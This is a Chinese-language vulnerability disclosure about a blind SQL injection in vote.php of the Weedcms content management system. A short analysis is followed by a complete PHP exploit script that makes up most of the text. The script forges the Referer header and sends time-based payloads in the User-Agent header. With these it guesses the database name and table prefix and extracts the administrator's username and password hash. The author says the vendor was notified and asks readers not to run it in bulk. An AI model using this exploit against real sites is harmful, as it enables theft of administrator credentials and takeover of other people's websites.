野草 Weedcms v4.0 sp1 至最新 5.0 贺岁版 USER_AGENT 盲注漏洞

程序说明:
    野草 Weedcms 基于PHP+MYSQL架构。创新型内容管理模式,建立频道后可定义内容模型,均在后台可以控制,非常方便。

    模板引擎采用了成熟稳定的 Smarty 引擎,很轻松就可以做出模板界面来。前台和后台均采用了DIV+CSS,速度比传统型略快。

    JS 采用了国际上比较流行的 Jquery 框架,还有基于 Jquery 的 XHEditor 可视化编辑器。

    支持基于 Apache 和 IIS 的路径优化功能,让您的网站面向搜索引擎而优化。

    单页功能:制作类似关于我们和公司介绍只要添加数据就可以实现,并且可控制访问权限。

    后台支持权限分配,减轻管理员工作负担。可自定义菜单导航。

    广告功能:支持HTML自定义,并且可投送到想要显示的页面。支持内容无限分类,可详细定义自己的内容。

    制作了会员组接口,方便控制资源分配等。实时监控网站在线人员动向。后台管理操作可一一记录到日志中。支持多语言包切换。

漏洞形成原因:
    vote.php USER_AGENT 直接插入数据库,没有经过过滤。

    导致产生 Insert 型的 SQL 注入。由于无错误提示,只能进行盲注。

漏洞分析:
    我们来看 vote.php 的代码:

    我们可以看到这个函数没有对传入的数据进行任何的过滤,只是简单的SQL语句生成,最后调用query()执行。

    首先程序通过 GET 获取了 action 变量,如果action=='ok'。则处理投票,然后调用了 check_request() 函数对请求进行验证,我们跟进一下这个函数。

    找到:includes/function.php 第390行。

    我们可以看到,只对REFERER,进行了简单的正则匹配,和对HOST进行了比对,我们可以通过伪造请求 REFERER 即可绕过此验证。

    接着程序获取了vote_id变量,我们给他传入一个不存在的ID即可,防止在不同的目标环境中导致程序逻辑被中断,然后我们看后面 在最后插入投票数据时,直接获取了$_SERVER['HTTP_USER_AGENT'] 并且没有任何过滤,而且 $_SERVEFR变量是不受magic_quotes_gpc保护的,所以该漏洞通用性很好,几乎可以通杀。最后使用了$db->insert()函数插入到了数据库,我们跟一下这个函数看有没有过滤。

    找到:includes/class_db.php 第20行

    我们可以看到这个函数没有对传入的数据进行任何的过滤,只是简单的SQL语句生成,最后调用query()执行。

漏洞利用:
    使用格式:php yecao.php 127.0.0.1 80 "/" "2"
    4个参数分别为: 目标主机   端口  程序路径(以/开头结尾)  延时

利用代码:

<?php
$port = 80;
if (trim ( $argv [1] ) == "" || trim ( $argv [2] ) == "" || trim ( $argv [3] ) == "" || trim ( $argv [4] ) == "") {
    echo "use:\nwww.exp.com 80  \"/web/\"  3  \n目标主机   端口  程序路径(以/开头结尾)  延时 \n注:要知道表前缀,默认为w_ ,5.0以上的MYSQL版本可以通过爆数据库名然后爆得表前缀";
    exit ();
}
$tlb_tag = "w_"; //定义表前缀
$host = trim ( $argv [1] );
$port = trim ( $argv [2] );
$path = trim ( $argv [3] );
$tout = trim ( $argv [4] );
$fullpath = $path . "vote.php?action=ok";
$postdata = "vote_id=99999999999";
function getmicrotime() {
    list ( $usec, $sec ) = explode ( " ", microtime () );
    return (( float ) $usec + ( float ) $sec);
}
function DoGet($header = "", $data = "") {
    Global $host, $port, $fullpath;
    $fp = fsockopen ( $host, $port, $errno, $errstr, 30 );
    $suc = false;
    $line = "";
    if (! $fp) {
        echo "$errstr ($errno)<br />\n";
    } else {
        $out = "POST $fullpath HTTP/1.1\r\n";
        $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $out .= "Host: $host\r\n";
        $out .= "Referer: http://$host/vote.php\r\n";
        if ($header !== "") {
            $out .= $header . "\r\n";
        }
        if ($data !== "") {
            $out .= "Content-Length: " . strlen ( $data ) . "\r\n";
        }
        $out .= "Connection: Close\r\n\r\n";
        $out .= $data;
        fwrite ( $fp, $out );
        //    echo "\n";
        while ( ! feof ( $fp ) ) {
            $line = fgets ( $fp, 128 );
            //    echo $line;
            if (strpos ( $line, "Date:" ) !== false) {
                $suc = true;
            }
        }
        //        echo "\n";
        fclose ( $fp );
        if (! $suc) {
            return false;
        }
        return true;
    }
}

function GetLen($ColName, $sql) {
    Global $tout, $tlb_tag, $postdata;
    for($i = 1; $i <= 50; $i ++) {
        eval ( $sql );
        echo "验证:$ColName 字段长度 $i...\n";
        $starttime = getmicrotime ();
        $rs = DoGet ( $header, $postdata );
        $endtime = getmicrotime ();
        //echo " endtime:$endtime - starttime:$starttime =" . ($endtime - $starttime) . "  \n timeout=$tout \n";
        if ($endtime - $starttime >= $tout) {
            return $i;
        }
    }
    return false;
}

function GetTxt($ColName, $ColLen, $sql) {
    $text = "";
    for($i = 1; $i <= $ColLen; $i ++) {
        $chr = GetChr ( $ColName, $i, $sql );
        //echo "已获取:$ColName 字段 第:" . $i . "位字符是:".$chr."....\n";
        $text .= $chr;
    }
    if ($text !== "") {
        return $text;
    }
    return false;
}

function GetChr($ColName, $poss, $sql) {
    Global $tout, $tlb_tag, $postdata;
    $chrlist = "~`!@#$%^&*()_+{}|:\"<>? /.,';\][=-ABCDEFGHIJKLMNOPQRSTUVWXYZ0987654321abcdefghijklmnopqrstuvwxyz";
    echo "正在获取:$ColName 字段 第:" . $poss . "位字符....\n";
    $chrlistlen = strlen ( $chrlist );
    $tempchr = "";
    $temptimeout = 0;
    for($i = $chrlistlen - 1; $i >= 1; $i --) { //从后忘前判断,后面的是小写字母数字等。最后是特殊字符
        $checkchr = substr ( $chrlist, $i, 1 );
        eval ( $sql );
        if ($ColName == 'FuckTable') {
            //echo $data;exit;
        }
        $starttime = getmicrotime ();
        $rs = DoGet ( $header, $postdata );
        $endtime = getmicrotime ();
        if ($endtime - ($starttime) >= $tout) {
            echo "成功:" . $ColName . "第" . $poss . "位==" . $checkchr . " -耗时:" . ($endtime - $starttime) . "秒\n";
            return $checkchr;
        }
   
    }
    return false;
}
function checkLove() {
    Global $tout, $postdata;
    $header = "User-Agent: Mozilla/4.0','1292169300',IF((select 1)=1,concat('wo',sleep($tout),'wo'),'Wowo'))#";
    $starttime = getmicrotime ();
    $rs = DoGet ( $header, $postdata );
    $endtime = getmicrotime ();
    if ($endtime - ($starttime) >= $tout) {
        return true;
    }
    return false;
}
function makelove() {
    if (checkLove () === false) {
        echo "漏洞测试失败\n";
        exit ();
    }
    echo "开始以默认表前缀猜解........\n";
    $sql = "\$header = \"User-Agent: Mozilla/4.0','1292169300',IF((select CHAR_LENGTH(\$ColName) from `\" . \$tlb_tag . \"admin` where `admin_permissions`='all' and `admin_state`='1' LIMIT 1)=\$i,concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";";
    $name_len = GetLen ( "admin_name", $sql );
    if ($name_len !== false) {
        $sql = "\$header = \"User-Agent: Mozilla/4.0','1292169300',IF((select MID(\$ColName,\$poss,1) from `\" . \$tlb_tag . \"admin` where `admin_permissions`='all' and `admin_state`='1' LIMIT 1)='\$checkchr',concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";";
        $admin_name = GetTxt ( "admin_name", $name_len, $sql );
        echo "admin_name: $admin_name\n";
        $admin_password = GetTxt ( "admin_password", 40, $sql );
        echo " admin_password:$admin_password\n";
        echo $admin_name, "  ----  ", $admin_password;
        exit ();
    } else {
        echo "默认表前缀猜解失败,开始自动猜解表前缀,正在获取mysql版本号........\n";
        $sql = "\$header = \"User-Agent: Mozilla/4.0','1292169300',IF((select MID(VERSION(),1,1) )='\$checkchr',concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";";
        $mysql_ver = GetChr ( "FuckVersion", 1, $sql );
        echo " mysql_ver:$mysql_ver\n";
        if ($mysql_ver >= 5) {
            echo "mysql版本>=5.0 ,开始猜解表前缀\n";
            $sql = "\$header = \"User-Agent: Mozilla/4.0','1292169300',IF((select CHAR_LENGTH(DATABASE()))=\$i,concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";";
            $database_len = GetLen ( "FuckDatabaseLength", $sql );
            echo "database_len: $database_len  ,成功获取数据库名长度。\n";
            if ($database_len !== false) {
                $sql = "\$header = \"User-Agent: Mozilla/4.0','1292169300',IF((select MID(DATABASE(),\$poss,1))='\$checkchr',concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";";
                $database_name = GetTxt ( "FuckDatabase", $database_len, $sql );
                echo "database_name: $database_name ,成功获取数据库名。\n";
                if ($database_name !== false) {
                    $sql = "\$header = \"User-Agent: Mozilla/4.0','1292169300',IF((select count(*)  from `INFORMATION_SCHEMA`.`TABLES` where `TABLE_SCHEMA` = '$database_name' and `TABLE_TYPE` = 'BASE TABLE' and `TABLE_NAME` LIKE '%admin')=\$i,concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";";
                    $tbl_count = GetLen ( "FuckTableCount", $sql );
                    if ($tbl_conut !== false && $tbl_count == 1) {
                        echo "发现一个管理员表,正在获取表前缀...\n";
                        $sql = "\$header = \"User-Agent: Mozilla/4.0','1292169300',IF((select CHAR_LENGTH(TABLE_NAME)  from `INFORMATION_SCHEMA`.`TABLES` where `TABLE_SCHEMA` = '$database_name' and `TABLE_TYPE` = 'BASE TABLE' and `TABLE_NAME` LIKE '%admin')=\$i,concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";";
                        $tbl_len = GetLen ( "FuckTableLength", $sql );
                        if ($tbl_len !== false) {
                            $sql = "\$header = \"User-Agent: Mozilla/4.0','1292169300',IF((select MID(TABLE_NAME,\$poss,1)  from `INFORMATION_SCHEMA`.`TABLES` where `TABLE_SCHEMA` = '$database_name' and `TABLE_TYPE` = 'BASE TABLE' and `TABLE_NAME` LIKE '%admin')='\$checkchr',concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";";
                            //echo $sql;exit;
                            $tbl_name = GetTxt ( "FuckTable", $tbl_len, $sql );
                            if ($tbl_name !== false) {
                                $tlb_tag = str_ireplace ( "admin", "", $tbl_name );
                                $GLOBALS ['tlb_tag'] = $tlb_tag;
                                echo "tlb_tag: $tlb_tag ,成功获取表前缀,正在自动重试。.....\n";
                                makelove ();
                                exit ();
                            } else {
                                echo "尝试获取表名失败...\n";
                            }
                        } else {
                            echo "尝试获取第表长度失败...\n";
                            exit ();
                        }
                    } else if ($tbl_conut !== false && $tbl_count > 1) {
                        echo "发现多个管理员表,正在获取表前缀...\n";
                        for($i = 0; $i < $tbl_count; $i ++) {
                            $sql = "\$header = \"User-Agent: Mozilla/4.0','1292169300',IF((select CHAR_LENGTH(TABLE_NAME)  from `INFORMATION_SCHEMA`.`TABLES` where `TABLE_SCHEMA` = '$database_name' and `TABLE_TYPE` = 'BASE TABLE' and `TABLE_NAME` LIKE '%admin' LIMIT $i,1)=\$i,concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";";
                            $tbl_len = GetLen ( "FuckTableLength", $sql );
                            if ($tbl_len !== false) {
                                $sql = "\$header = \"User-Agent: Mozilla/4.0','1292169300',IF((select MID(TABLE_NAME,\$poss,1)  from `INFORMATION_SCHEMA`.`TABLES` where `TABLE_SCHEMA` = '$database_name' and `TABLE_TYPE` = 'BASE TABLE' and `TABLE_NAME` LIKE '%admin' LIMIT $i,1)='\$checkchr',concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";";
                                //echo $sql;exit;
                                $tbl_name = GetTxt ( "FuckTable", $tbl_len, $sql );
                                if ($tbl_name !== false) {
                                    $tlb_tag = str_ireplace ( "admin", "", $tbl_name );
                                    $GLOBALS ['tlb_tag'] = $tlb_tag;
                                    echo "tlb_tag: $tlb_tag ,成功获取多个表前缀,请手工重试。.....\n";
                                } else {
                                    echo "尝试获取第" . $i . "表名失败...\n";
                                }
                            } else {
                                echo "尝试获取第" . $i . "表长度失败...\n";
                            }
                        }
                        exit (); //循环猜解结束。
                    } else {
                        echo "尝试获取表数失败...\n";
                        exit ();
                    }
                } else {
                    echo "尝试获取数据库名失败....\n";
                    exit ();
                }
            } else {
                echo "尝试获取数据库名长度失败....\n";
                exit ();
            }
        } else if ($mysql_ver >= 1 && $mysql_ver !== false) {
            echo "mysql版低于5.0放弃猜解表前缀。\n";
            exit ();
        } else {
            echo "获取mysql版本失败。\n";
            exit ();
        }
    }
    echo "not found -_- || \n";
    exit ();
}
makelove ();
?>

实际效果:

    通杀 4.0+ 以上版本,不过其程序采用的是SHA1加密。EXP利用时间差进行盲注。由于是投票所以在比对失败的情况下,让语句出错,不然如果不出错成功入库后,就不能继续猜解了,成功就会调用sleep睡眠产生时间差。

    该EXP实际效果会受网络环境影响,另外没有写自动猜解中文用户名的功能。希望高手们指点一下。怎样写比较高效。

    该漏洞比较菜,只是作为分享给那些和我一样菜的朋友一个学习参考和一个交流的机会。请各位海涵。

    该BUG,已经通知程序作者,本文在征得程序作者同意后公布,请大家就不要批量搞了。